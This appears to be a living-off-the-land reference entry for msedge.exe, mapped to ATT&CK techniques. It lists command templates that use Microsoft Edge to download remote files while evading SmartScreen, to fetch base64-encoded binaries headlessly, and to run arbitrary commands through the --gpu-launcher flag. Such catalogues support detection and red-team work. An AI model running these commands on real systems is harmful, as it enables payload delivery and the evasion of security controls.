.. /Msedge.exe
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Execute (CMD)

Microsoft Edge browser

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Download

  1. Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

    msedge.exe {REMOTEURL:.exe.txt}
    Use case
    Download file from the internet
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1105

  2. Edge will silently download the file. File extension should be .html and binaries should be encoded.

    msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}
    Use case
    Download file from the internet
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1105

Execute

  1. Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command

    msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
    Use case
    Executes a process under a trusted Microsoft signed binary
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.015
    Tags
    Execute: CMD